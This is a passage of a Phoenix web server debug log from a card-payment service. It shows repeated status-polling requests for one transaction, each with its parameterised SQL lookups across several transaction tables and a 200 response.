↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:11.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46730] Sent 200 in 22ms
[Thu Sep  3 10:21:16.742000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46744] POST /api/device/status
[Thu Sep  3 10:21:16.742000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46744] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:16.742000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46744] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:16.742000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46744] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:16.760000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46744] QUERY OK source="pos_transaction" db=17.3ms queue=0.1ms idle=1799.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:16.762000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46744] QUERY OK source="pos_temp_transaction" db=1.0ms queue=0.1ms idle=1816.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:16.766000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46744] QUERY OK source="pos_failed_transaction" db=3.8ms idle=1817.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:16.768000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46744] QUERY OK source="cloud_transaction" db=1.4ms idle=1822.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:16.769000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46744] Sent 200 in 26ms
[Thu Sep  3 10:21:21.675000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:48564] POST /api/device/status
[Thu Sep  3 10:21:21.676000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:48564] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:21.676000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:48564] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:21.676000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:48564] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:21.691000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48564] QUERY OK source="pos_transaction" db=14.9ms idle=1730.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:21.693000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48564] QUERY OK source="pos_temp_transaction" db=1.5ms queue=0.1ms idle=1745.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:21.697000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48564] QUERY OK source="pos_failed_transaction" db=3.4ms idle=1746.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:21.699000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48564] QUERY OK source="cloud_transaction" db=0.8ms idle=1751.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:21.700000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:48564] Sent 200 in 24ms
[Thu Sep  3 10:21:26.773000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:48572] POST /api/device/status
[Thu Sep  3 10:21:26.774000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:48572] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:26.779000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:48572] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:26.779000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:48572] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:26.793000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48572] QUERY OK source="pos_transaction" db=14.2ms idle=1832.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:26.794000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48572] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=1847.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:26.798000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48572] QUERY OK source="pos_failed_transaction" db=3.5ms queue=0.1ms idle=1848.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:26.799000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:48572] QUERY OK source="cloud_transaction" db=0.5ms idle=1852.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:26.800000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:48572] Sent 200 in 26ms
[Thu Sep  3 10:21:31.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46354] POST /api/device/status
[Thu Sep  3 10:21:31.706000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46354] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:31.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46354] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:31.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46354] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:31.745000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46354] QUERY OK source="pos_transaction" db=38.1ms idle=1760.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:31.752000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46354] QUERY OK source="pos_temp_transaction" db=5.4ms idle=1800.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:31.756000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46354] QUERY OK source="pos_failed_transaction" db=3.6ms idle=1806.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:31.758000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46354] QUERY OK source="cloud_transaction" db=1.1ms idle=1810.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:31.759000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46354] Sent 200 in 54ms
[Thu Sep  3 10:21:36.623000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46368] POST /api/device/status
[Thu Sep  3 10:21:36.624000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46368] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:36.624000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46368] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:36.624000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46368] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:36.636000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46368] QUERY OK source="pos_transaction" db=12.0ms idle=1678.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:36.638000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46368] QUERY OK source="pos_temp_transaction" db=1.3ms idle=1690.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:36.641000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46368] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1692.4ms
